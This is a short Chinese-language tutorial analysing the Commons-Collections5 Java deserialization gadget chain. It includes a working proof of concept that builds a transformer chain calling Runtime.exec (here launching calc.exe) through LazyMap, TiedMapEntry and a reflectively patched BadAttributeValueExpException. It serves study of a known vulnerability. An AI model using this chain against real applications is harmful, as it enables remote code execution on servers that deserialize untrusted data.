Commons-Collections5反序列化

cc5的调用链和cc1 lazyMap调用链很相似,只不过cc5调用链最后触发get方法那里变成了TiedMapEntry的toString方法,然后利用BadAttributeValueExpException的readObject触发。

看一下poc

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class }, new Object[] {"getRuntime", new Class[0] }),
new InvokerTransformer("invoke", new Class[] {Object.class, Object[].class }, new Object[] {null, new Object[0] }),
new InvokerTransformer("exec", new Class[] {String.class }, new Object[] {"calc.exe"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
HashMap<Object,Object> map=new HashMap<>();
Map outerMap = LazyMap.decorate(map, chainedTransformer);
TiedMapEntry tiedMapEntry = new TiedMapEntry(outerMap, "11");
BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(1);

Class<?> aClass = Class.forName("javax.management.BadAttributeValueExpException");
Field val = aClass.getDeclaredField("val");
val.setAccessible(true);
val.set(badAttributeValueExpException,tiedMapEntry);
//serialize(badAttributeValueExpException);
unserialize("ser.bin");

通过poc我们发现直到lazyMap都是和cc1一样的调用,后面从Proxy改成了TiedMapEntry类

我们知道触发该条链是需要触发到LazyMap的get方法我们调试一下

我们找到了TiedMapEntry类里面的toString方法中调用了 getValue方法。这个有点熟悉在cc6中出现过跟到getValue中

发现调用了 get方法而我们在cc6中已将知道TiedMapEntry类的构造方法是可以直接对map这个属性进行赋值的

所以这里只需要找到可以触发该类toString的方法就可以

继续调试我们发现了

在BadAttributeValueExpException这个类的readObject中发现了调用了toString方法是由valObj触发的而valObj则是获得val属性的值,然后看看其构造方法

发现val是可控的,但是发现在构造方法里也调用了toString方法,所以在构造的时候不能传入TiedMapEntry对象,因为这回导致在序列化前就会rce所以我们需要在实例化完之后反射修改其属性值就可以了。

cc5调用链